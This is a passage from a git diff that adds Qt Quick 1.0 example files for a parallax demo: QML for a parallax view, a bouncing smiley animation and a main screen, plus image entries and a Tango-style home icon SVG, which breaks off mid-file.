+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: root
+
+ property alias background: background.source
+ property int currentIndex: 0
+ default property alias content: visualModel.children
+
+ Image {
+ id: background
+ fillMode: Image.TileHorizontally
+ x: -list.contentX / 2
+ width: Math.max(list.contentWidth, parent.width)
+ }
+
+ ListView {
+ id: list
+ anchors.fill: parent
+
+ currentIndex: root.currentIndex
+ onCurrentIndexChanged: root.currentIndex = currentIndex
+
+ orientation: Qt.Horizontal
+ boundsBehavior: Flickable.DragOverBounds
+ model: VisualItemModel { id: visualModel }
+
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ snapMode: ListView.SnapOneItem
+ }
+
+ ListView {
+ id: selector
+
+ height: 50
+ anchors.bottom: parent.bottom
+ anchors.horizontalCenter: parent.horizontalCenter
+ width: Math.min(count * 50, parent.width - 20)
+ interactive: width == parent.width - 20
+ orientation: Qt.Horizontal
+
+ currentIndex: root.currentIndex
+ onCurrentIndexChanged: root.currentIndex = currentIndex
+
+ model: visualModel.children
+ delegate: Item {
+ width: 50; height: 50
+ id: delegateRoot
+
+ Image {
+ id: image
+ source: modelData.icon
+ smooth: true
+ scale: 0.8
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { root.currentIndex = index }
+ }
+
+ states: State {
+ name: "Selected"
+ when: delegateRoot.ListView.isCurrentItem == true
+ PropertyChanges {
+ target: image
+ scale: 1
+ y: -5
+ }
+ }
+ transitions: Transition {
+ NumberAnimation { properties: "scale,y" }
+ }
+ }
+
+ Rectangle {
+ color: "#60FFFFFF"
+ x: -10; y: -10; z: -1
+ width: parent.width + 20; height: parent.height + 20
+ radius: 10
+ }
+ }
+}
diff --git a/examples/declarative/modelviews/parallax/qml/parallax/Smiley.qml b/examples/declarative/modelviews/parallax/qml/parallax/Smiley.qml
new file mode 100644
index 00000000..26bf493f
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/qml/parallax/Smiley.qml
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+// This is taken from the declarative animation/basics/property-animation.qml
+// example
+
+Item {
+ id: window
+ width: 320; height: 480
+
+ Image {
+ anchors.horizontalCenter: parent.horizontalCenter
+ y: smiley.minHeight + 58
+ source: "pics/shadow.png"
+
+ scale: smiley.y * 0.5 / (smiley.minHeight - smiley.maxHeight)
+ }
+
+ Image {
+ id: smiley
+ property int maxHeight: window.height / 3
+ property int minHeight: 2 * window.height / 3
+
+ anchors.horizontalCenter: parent.horizontalCenter
+ y: minHeight
+ source: "pics/face-smile.png"
+
+ SequentialAnimation on y {
+ loops: Animation.Infinite
+
+ NumberAnimation {
+ from: smiley.minHeight; to: smiley.maxHeight
+ easing.type: Easing.OutExpo; duration: 300
+ }
+
+ NumberAnimation {
+ from: smiley.maxHeight; to: smiley.minHeight
+ easing.type: Easing.OutBounce; duration: 1000
+ }
+
+ PauseAnimation { duration: 500 }
+ }
+ }
+}
+
diff --git a/examples/declarative/modelviews/parallax/qml/parallax/parallax.qml b/examples/declarative/modelviews/parallax/qml/parallax/parallax.qml
new file mode 100644
index 00000000..c19b877a
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/qml/parallax/parallax.qml
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 320; height: 480
+
+ ParallaxView {
+ id: parallax
+ anchors.fill: parent
+ background: "pics/background.jpg"
+
+ Item {
+ property url icon: "pics/yast-wol.png"
+ width: 320; height: 480
+ Clock { anchors.centerIn: parent }
+ }
+
+ Item {
+ property url icon: "pics/home-page.svg"
+ width: 320; height: 480
+ Smiley { }
+ }
+
+ Item {
+ property url icon: "pics/yast-joystick.png"
+ width: 320; height: 480
+ Image { anchors.centerIn: parent; source: "pics/samegame.png" }
+ }
+ }
+}
diff --git a/examples/declarative/modelviews/parallax/qml/parallax/pics/background.jpg b/examples/declarative/modelviews/parallax/qml/parallax/pics/background.jpg
new file mode 100644
index 00000000..61cca2f1
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/qml/parallax/pics/background.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/parallax/qml/parallax/pics/face-smile.png b/examples/declarative/modelviews/parallax/qml/parallax/pics/face-smile.png
new file mode 100644
index 00000000..3d66d725
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/qml/parallax/pics/face-smile.png
Binary files differ
diff --git a/examples/declarative/modelviews/parallax/qml/parallax/pics/home-page.svg b/examples/declarative/modelviews/parallax/qml/parallax/pics/home-page.svg
new file mode 100644
index 00000000..4f169588
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/qml/parallax/pics/home-page.svg
@@ -0,0 +1,445 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="48"
+ height="48"
+ overflow="visible"
+ enable-background="new 0 0 128 129.396"
+ xml:space="preserve"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.46"
+ sodipodi:docname="go-home.svg"
+ sodipodi:docbase="/home/jimmac/src/cvs/tango-icon-theme/scalable/actions"
+ version="1.0"
+ inkscape:export-filename="/home/tigert/My Downloads/go-home.png"
+ inkscape:export-xdpi="90.000000"
+ inkscape:export-ydpi="90.000000"
+ inkscape:output_extension="org.inkscape.output.svg.inkscape"><metadata
+ id="metadata367"><rdf:RDF><cc:Work
+ rdf:about=""><dc:format>image/svg+xml</dc:format><dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" /><cc:license
+ rdf:resource="http://creativecommons.org/licenses/publicdomain/" /><dc:title>Go Home</dc:title><dc:creator><cc:Agent><dc:title>Jakub Steiner</dc:title></cc:Agent></dc:creator><dc:source>http://jimmac.musichall.cz</dc:source><dc:subject><rdf:Bag><rdf:li>home</rdf:li><rdf:li>return</rdf:li><rdf:li>go</rdf:li><rdf:li>default</rdf:li><rdf:li>user</rdf:li><rdf:li>directory</rdf:li></rdf:Bag></dc:subject><dc:contributor><cc:Agent><dc:title>Tuomas Kuosmanen</dc:title></cc:Agent></dc:contributor></cc:Work><cc:License
+ rdf:about="http://creativecommons.org/licenses/publicdomain/"><cc:permits
+ rdf:resource="http://creativecommons.org/ns#Reproduction" /><cc:permits
+ rdf:resource="http://creativecommons.org/ns#Distribution" /><cc:permits
+ rdf:resource="http://creativecommons.org/ns#DerivativeWorks" /></cc:License></rdf:RDF></metadata><defs
+ id="defs365"><inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 24 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="48 : 24 : 1"
+ inkscape:persp3d-origin="24 : 16 : 1"
+ id="perspective92" /><radialGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient5060"
+ id="radialGradient5031"
+ gradientUnits="userSpaceOnUse"
+ gradientTransform="matrix(-2.774389,0,0,1.969706,112.7623,-872.8854)"
+ cx="605.71429"
+ cy="486.64789"
+ fx="605.71429"
+ fy="486.64789"
+ r="117.14286" /><linearGradient
+ inkscape:collect="always"
+ id="linearGradient5060"><stop
+ style="stop-color:black;stop-opacity:1;"
+ offset="0"
+ id="stop5062" /><stop
+ style="stop-color:black;stop-opacity:0;"
+ offset="1"
+ id="stop5064" /></linearGradient><radialGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient5060"
+ id="radialGradient5029"
+ gradientUnits="userSpaceOnUse"
+ gradientTransform="matrix(2.774389,0,0,1.969706,-1891.633,-872.8854)"
+ cx="605.71429"
+ cy="486.64789"
+ fx="605.71429"
+ fy="486.64789"
+ r="117.14286" /><linearGradient
+ id="linearGradient5048"><stop
+ style="stop-color:black;stop-opacity:0;"
+ offset="0"
+ id="stop5050" /><stop
+ id="stop5056"
+ offset="0.5"
+ style="stop-color:black;stop-opacity:1;" /><stop
+ style="stop-color:black;stop-opacity:0;"
+ offset="1"
+ id="stop5052" /></linearGradient><linearGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient5048"
+ id="linearGradient5027"
+ gradientUnits="userSpaceOnUse"
+ gradientTransform="matrix(2.774389,0,0,1.969706,-1892.179,-872.8854)"
+ x1="302.85715"
+ y1="366.64789"
+ x2="302.85715"
+ y2="609.50507" /><linearGradient
+ id="linearGradient2406"><stop
+ style="stop-color:#7c7e79;stop-opacity:1;"
+ offset="0"
+ id="stop2408" /><stop
+ id="stop2414"
+ offset="0.1724138"
+ style="stop-color:#848681;stop-opacity:1;" /><stop
+ style="stop-color:#898c86;stop-opacity:1;"
+ offset="1"
+ id="stop2410" /></linearGradient><linearGradient
+ inkscape:collect="always"
+ id="linearGradient2390"><stop
+ style="stop-color:#919191;stop-opacity:1;"
+ offset="0"
+ id="stop2392" /><stop
+ style="stop-color:#919191;stop-opacity:0;"
+ offset="1"
+ id="stop2394" /></linearGradient><linearGradient
+ inkscape:collect="always"
+ id="linearGradient2378"><stop
+ style="stop-color:#575757;stop-opacity:1;"
+ offset="0"
+ id="stop2380" /><stop
+ style="stop-color:#575757;stop-opacity:0;"
+ offset="1"
+ id="stop2382" /></linearGradient><linearGradient
+ inkscape:collect="always"
+ id="linearGradient2368"><stop
+ style="stop-color:#ffffff;stop-opacity:1;"
+ offset="0"
+ id="stop2370" /><stop
+ style="stop-color:#ffffff;stop-opacity:0;"
+ offset="1"
+ id="stop2372" /></linearGradient><linearGradient
+ inkscape:collect="always"
+ id="linearGradient2349"><stop
+ style="stop-color:#000000;stop-opacity:1;"
+ offset="0"
+ id="stop2351" /><stop
+ style="stop-color:#000000;stop-opacity:0;"
+ offset="1"
+ id="stop2353" /></linearGradient><linearGradient
+ id="linearGradient2341"><stop
+ id="stop2343"
+ offset="0"
+ style="stop-color:#000000;stop-opacity:1;" /><stop
+ id="stop2345"
+ offset="1"
+ style="stop-color:#000000;stop-opacity:0;" /></linearGradient><linearGradient
+ id="linearGradient2329"><stop
+ style="stop-color:#000000;stop-opacity:0.18556701;"
+ offset="0"
+ id="stop2331" /><stop
+ style="stop-color:#ffffff;stop-opacity:1;"
+ offset="1"
+ id="stop2333" /></linearGradient><linearGradient
+ inkscape:collect="always"
+ id="linearGradient2319"><stop
+ style="stop-color:#000000;stop-opacity:1;"
+ offset="0"
+ id="stop2321" /><stop
+ style="stop-color:#000000;stop-opacity:0;"
+ offset="1"
+ id="stop2323" /></linearGradient><linearGradient
+ id="linearGradient2307"><stop
+ style="stop-color:#edd400;stop-opacity:1;"
+ offset="0"
+ id="stop2309" /><stop
+ style="stop-color:#998800;stop-opacity:1;"
+ offset="1"
+ id="stop2311" /></linearGradient><linearGradient
+ inkscape:collect="always"
+ id="linearGradient2299"><stop
+ style="stop-color:#ffffff;stop-opacity:1;"
+ offset="0"
+ id="stop2301" /><stop
+ style="stop-color:#ffffff;stop-opacity:0;"
+ offset="1"
+ id="stop2303" /></linearGradient><linearGradient
+ id="XMLID_2_"
+ gradientUnits="userSpaceOnUse"
+ x1="80.223602"
+ y1="117.5205"
+ x2="48.046001"
+ y2="59.7995"
+ gradientTransform="matrix(0.314683,0.000000,0.000000,0.314683,4.128264,3.742874)">
+ <stop
+ offset="0"
+ style="stop-color:#CCCCCC"
+ id="stop17" />
+ <stop
+ offset="0.9831"
+ style="stop-color:#FFFFFF"
+ id="stop19" />
+ <midPointStop
+ offset="0"
+ style="stop-color:#CCCCCC"
+ id="midPointStop48" />
+ <midPointStop
+ offset="0.5"
+ style="stop-color:#CCCCCC"
+ id="midPointStop50" />
+ <midPointStop
+ offset="0.9831"
+ style="stop-color:#FFFFFF"
+ id="midPointStop52" />
+ </linearGradient><linearGradient
+ inkscape:collect="always"
+ xlink:href="#XMLID_2_"
+ id="linearGradient1514"
+ gradientUnits="userSpaceOnUse"
+ gradientTransform="matrix(0.336922,0.000000,0.000000,0.166888,17.98288,15.46151)"
+ x1="52.006104"
+ y1="166.1331"
+ x2="14.049017"
+ y2="-42.218513" /><linearGradient
+ id="XMLID_39_"
+ gradientUnits="userSpaceOnUse"
+ x1="64.387703"
+ y1="65.124001"
+ x2="64.387703"
+ y2="35.569"
+ gradientTransform="matrix(0.354101,0.000000,0.000000,0.354101,1.638679,-8.364921e-2)">
+ <stop
+ offset="0"
+ style="stop-color:#FFFFFF"
+ id="stop336" />
+ <stop
+ offset="0.8539"
+ style="stop-color:#FF6200"
+ id="stop338" />
+ <stop
+ offset="1"
+ style="stop-color:#F25D00"
+ id="stop340" />
+ <midPointStop
+ offset="0"
+ style="stop-color:#FFFFFF"
+ id="midPointStop335" />
+ <midPointStop
+ offset="0.5"
+ style="stop-color:#FFFFFF"
+ id="midPointStop337" />
+ <midPointStop
+ offset="0.8539"
+ style="stop-color:#FF6200"
+ id="midPointStop339" />
+ <midPointStop
+ offset="0.5"
+ style="stop-color:#FF6200"
+ id="midPointStop341" />
+ <midPointStop
+ offset="1"
+ style="stop-color:#F25D00"
+ id="midPointStop343" />
+ </linearGradient><radialGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient2299"
+ id="radialGradient2305"
+ cx="7.5326638"
+ cy="24.202574"
+ fx="7.5326638"
+ fy="24.202574"
+ r="8.2452128"
+ gradientTransform="matrix(4.100086,-1.627292e-17,2.125447e-14,4.201322,-25.41506,-78.53967)"
+ gradientUnits="userSpaceOnUse" /><radialGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient2307"
+ id="radialGradient2313"
+ cx="19.985598"
+ cy="36.77816"
+ fx="19.985598"
+ fy="36.77816"
+ r="1.0821035"
+ gradientTransform="matrix(1.125263,0.000000,0.000000,0.982744,-3.428678,0.565787)"
+ gradientUnits="userSpaceOnUse" /><radialGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient2319"
+ id="radialGradient2325"
+ cx="20.443665"
+ cy="37.425829"
+ fx="20.443665"
+ fy="37.425829"
+ r="1.0821035"
+ gradientTransform="matrix(1.125263,0.000000,0.000000,0.982744,-3.428678,0.731106)"
+ gradientUnits="userSpaceOnUse" /><linearGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient2329"
+ id="linearGradient2335"
+ x1="17.602522"
+ y1="26.057423"
+ x2="17.682528"
+ y2="32.654099"
+ gradientUnits="userSpaceOnUse"
+ gradientTransform="matrix(0.898789,0,0,1.071914,0.478025,-2.080838)" /><radialGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient2341"
+ id="radialGradient2339"
+ gradientUnits="userSpaceOnUse"
+ gradientTransform="matrix(4.100086,1.627292e-17,2.125447e-14,-4.201322,-5.198109,105.3535)"
+ cx="11.68129"
+ cy="19.554111"
+ fx="11.68129"
+ fy="19.554111"
+ r="8.2452126" /><radialGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient2349"
+ id="radialGradient2355"
+ cx="24.023088"
+ cy="40.56913"
+ fx="24.023088"
+ fy="40.56913"
+ r="16.28684"
+ gradientTransform="matrix(1.000000,0.000000,0.000000,0.431250,1.157278e-15,23.07369)"
+ gradientUnits="userSpaceOnUse" /><radialGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient2368"
+ id="radialGradient2374"
+ cx="29.913452"
+ cy="30.442923"
+ fx="29.913452"
+ fy="30.442923"
+ r="4.0018832"
+ gradientTransform="matrix(3.751495,-2.191984e-22,1.723265e-22,3.147818,-82.00907,-65.70704)"
+ gradientUnits="userSpaceOnUse" /><radialGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient2378"
+ id="radialGradient2384"
+ cx="24.195112"
+ cy="10.577631"
+ fx="24.195112"
+ fy="10.577631"
+ r="15.242914"
+ gradientTransform="matrix(1.125263,-3.585417e-8,4.269819e-8,1.340059,-3.006704,1.355395)"
+ gradientUnits="userSpaceOnUse" /><linearGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient2390"
+ id="linearGradient2396"
+ x1="30.603519"
+ y1="37.337803"
+ x2="30.603519"
+ y2="36.112415"
+ gradientUnits="userSpaceOnUse"
+ gradientTransform="matrix(1.263867,0,0,0.859794,-6.499556,8.390924)" /><linearGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient2406"
+ id="linearGradient2412"
+ x1="17.850183"
+ y1="28.939463"
+ x2="19.040216"
+ y2="41.03223"
+ gradientUnits="userSpaceOnUse"
+ gradientTransform="matrix(0.888785,0,0,1.08932,2.41099,-1.524336)" /></defs><sodipodi:namedview
+ inkscape:cy="-2.3755359"
+ inkscape:cx="25.234802"
+ inkscape:zoom="1"
+ inkscape:window-height="691"
+ inkscape:window-width="872"
+ inkscape:pageshadow="2"
+ inkscape:pageopacity="0.0"
+ borderopacity="0.21568627"
+ bordercolor="#666666"
+ pagecolor="#ffffff"
+ id="base"
+ inkscape:showpageshadow="false"
+ inkscape:window-x="466"
+ inkscape:window-y="157"
+ inkscape:current-layer="svg2"
+ fill="#555753"
+ showgrid="false"
+ stroke="#a40000"
+ showguides="true"
+ inkscape:guide-bbox="true" />
+ <g
+ style="display:inline"
+ id="g5022"
+ transform="matrix(2.158196e-2,0,0,1.859457e-2,43.12251,41.63767)"><rect
+ y="-150.69685"
+ x="-1559.2523"
+ height="478.35718"
+ width="1339.6335"
+ id="rect4173"
+ style="opacity:0.40206185;color:black;fill:url(#linearGradient5027);fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:1;stroke-linecap:round;stroke-linejoin:miter;marker:none;marker-start:none;marker-mid:none;marker-end:none;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;visibility:visible;display:inline;overflow:visible" /><path
+ sodipodi:nodetypes="cccc"
+ id="path5058"
+ d="M -219.61876,-150.68038 C -219.61876,-150.68038 -219.61876,327.65041 -219.61876,327.65041 C -76.744594,328.55086 125.78146,220.48075 125.78138,88.454235 C 125.78138,-43.572302 -33.655436,-150.68036 -219.61876,-150.68038 z "
+ style="opacity:0.40206185;color:black;fill:url(#radialGradient5029);fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:1;stroke-linecap:round;stroke-linejoin:miter;marker:none;marker-start:none;marker-mid:none;marker-end:none;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;visibility:visible;display:inline;overflow:visible" /><path
+ style="opacity:0.40206185;color:black;fill:url(#radialGradient5031);fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:1;stroke-linecap:round;stroke-linejoin:miter;marker:none;marker-start:none;marker-mid:none;marker-end:none;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;visibility:visible;display:inline;overflow:visible"
+ d="M -1559.2523,-150.68038 C -1559.2523,-150.68038 -1559.2523,327.65041 -1559.2523,327.65041 C -1702.1265,328.55086 -1904.6525,220.48075 -1904.6525,88.454235 C -1904.6525,-43.572302 -1745.2157,-150.68036 -1559.2523,-150.68038 z "
+ id="path5018"
+ sodipodi:nodetypes="cccc" /></g><path
+ style="color:#000000;fill:url(#linearGradient1514);fill-opacity:1;fill-rule:nonzero;stroke:#757575;stroke-width:1.0000006;stroke-linecap:butt;stroke-linejoin:miter;marker:none;marker-start:none;marker-mid:none;marker-end:none;stroke-miterlimit:4;stroke-dashoffset:0;stroke-opacity:1;visibility:visible;display:inline;overflow:visible"
+ d="M 21.619576,8.1833733 L 27.577035,8.1833733 C 28.416767,8.1833733 41.46351,23.618701 41.46351,24.524032 L 41.019989,43.020777 C 41.019989,43.92611 40.343959,44.654954 39.504227,44.654954 L 8.0469496,44.654954 C 7.2072167,44.654954 6.5311871,43.92611 6.5311871,43.020777 L 6.5876651,24.524032 C 6.5876651,23.618701 20.779844,8.1833733 21.619576,8.1833733 z "
+ id="rect1512"
+ sodipodi:nodetypes="ccccccccc" /><path
+ style="fill:none"
+ id="path5"
+ d="M 46.963575,45.735573 L 1.6386762,45.735573 L 1.6386762,0.41067554 L 46.963575,0.41067554 L 46.963575,45.735573 z " /><path
+ style="fill:url(#linearGradient2335);fill-opacity:1;fill-rule:evenodd"
+ id="path2327"
+ d="M 23,29 L 22.954256,44.090942 L 11.111465,44.090942 L 11,29 L 23,29 z "
+ clip-rule="evenodd"
+ sodipodi:nodetypes="ccccc" /><path
+ sodipodi:nodetypes="ccccccccc"
+ id="path2357"
+ d="M 21.780459,9.405584 L 27.339556,9.405584 C 28.123138,9.405584 40.340425,23.805172 40.340425,24.649756 L 39.993267,42.862067 C 39.993267,43.321326 39.84953,43.515532 39.480892,43.515532 L 8.0936894,43.529812 C 7.7250517,43.529812 7.5097258,43.449894 7.5097258,43.076262 L 7.7250676,24.649756 C 7.7250676,23.805172 20.99688,9.405584 21.780459,9.405584 z "
+ style="opacity:0.3125;color:#000000;fill:none;fill-opacity:1;fill-rule:nonzero;stroke:#ffffff;stroke-width:1.00000012;stroke-linecap:butt;stroke-linejoin:miter;marker:none;marker-start:none;marker-mid:none;marker-end:none;stroke-miterlimit:4;stroke-dashoffset:0;stroke-opacity:1;visibility:visible;display:inline;overflow:visible" /><path
+ clip-rule="evenodd"
+ d="M 7.2075295,27.943053 L 7.1532728,30.538247 L 25.521437,17.358993 L 40.807832,28.513421 L 40.879142,28.201707 L 24.508686,12.297576 L 7.2075295,27.943053 z "
+ id="path23"
+ style="opacity:0.2;fill:url(#radialGradient2384);fill-opacity:1;fill-rule:evenodd"
+ sodipodi:nodetypes="ccccccc" /><path
+ clip-rule="evenodd"
+ d="M 22,30 L 22,44.090942 L 12.188971,44.090942 L 12,30 L 22,30 z "
+ id="path188"
+ style="fill:url(#linearGradient2412);fill-opacity:1;fill-rule:evenodd"
+ sodipodi:nodetypes="ccccc" /><path
+ style="opacity:0.40909089;fill:url(#radialGradient2325);fill-opacity:1;fill-rule:evenodd"
+ id="path2315"
+ d="M 19.576856,36.44767 C 20.249646,36.44767 20.793472,36.922275 20.793472,37.506177 C 20.793472,38.095988 20.249646,38.574532 19.576856,38.574532 C 18.904584,38.574532 18.35817,38.095988 18.35817,37.506177 C 18.358685,36.922275 18.904584,36.44767 19.576856,36.44767 z "
+ clip-rule="evenodd" /><path
+ clip-rule="evenodd"
+ d="M 19.462314,35.932229 C 20.135103,35.932229 20.678929,36.406834 20.678929,36.990736 C 20.678929,37.580545 20.135103,38.059089 19.462314,38.059089 C 18.790041,38.059089 18.243627,37.580545 18.243627,36.990736 C 18.244142,36.406834 18.790041,35.932229 19.462314,35.932229 z "
+ id="path217"
+ style="fill:url(#radialGradient2313);fill-opacity:1;fill-rule:evenodd" /><path
+ d="M 24.447748,11.559337 L 43.374808,28.729205 L 43.869487,29.121196 L 44.273163,28.949811 L 43.900293,28.188138 L 43.622679,27.964702 L 24.447748,12.392396 L 5.0582327,28.135731 L 4.8206309,28.279851 L 4.603921,28.986637 L 5.0373408,29.115885 L 5.4218948,28.807462 L 24.447748,11.559337 z "
+ id="path342"
+ style="fill:url(#XMLID_39_)"
+ sodipodi:nodetypes="ccccccccccccc" /><path
+ style="fill:#ef2929;stroke:#a40000"
+ id="path362"
+ d="M 24.330168,2.2713382 L 2.4484294,20.372675 L 1.8237005,27.538603 L 3.8236367,29.602926 C 3.8236367,29.602926 24.231018,12.445641 24.44773,12.274963 L 44.08027,29.818223 L 45.978694,27.494226 L 44.362903,20.382852 L 24.44773,2.1668788 L 24.330168,2.2713382 z "
+ sodipodi:nodetypes="cccccccccc" />
+<path
+ style="opacity:0.40909089;color:#000000;fill:url(#radialGradient2305);fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;marker:none;marker-start:none;marker-mid:none;marker-end:none;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;visibility:visible;display:inline;overflow:visible"
+ d="M 2.8413446,20.613129 L 2.5497894,27.236494 L 24.369219,8.980075 L 24.298891,3.0867443 L 2.8413446,20.613129 z "
+ id="path1536"
+ sodipodi:nodetypes="ccccc" /><path
+ sodipodi:nodetypes="ccccc"
+ id="path2337"
+ d="M 24.483763,8.7509884 L 24.583223,2.9098867 L 43.912186,20.56184 L 45.403998,27.062652 L 24.483763,8.7509884 z "
+ style="opacity:0.13636367;color:#000000;fill:url(#radialGradient2339);fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;marker:none;marker-start:none;marker-mid:none;marker-end:none;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;visibility:visible;display:inline;overflow:visible" /><path
+ style="opacity:0.31818183;color:#000000;fill:none;fill-opacity:1;fill-rule:nonzero;stroke:#ffffff;stroke-width:0.99999934;stroke-linecap:butt;stroke-linejoin:miter;marker:none;marker-start:none;marker-mid:none;marker-end:none;stroke-miterlimit:4;stroke-dashoffset:0;stroke-opacity:1;visibility:visible;display:inline;overflow:visible"
+ d="M 27.102228,27.719824 L 36.142223,27.719824 C 36.912818,27.719824 37.53319,28.340194 37.53319,29.110791 L 37.525229,38.190012 C 37.525229,38.960608 36.928907,39.455981 36.158311,39.455981 L 27.102228,39.455981 C 26.331631,39.455981 25.711261,38.835608 25.711261,38.065012 L 25.711261,29.110791 C 25.711261,28.340194 26.331631,27.719824 27.102228,27.719824 z "
+ id="rect2361"
+ sodipodi:nodetypes="ccccccccc" /><rect
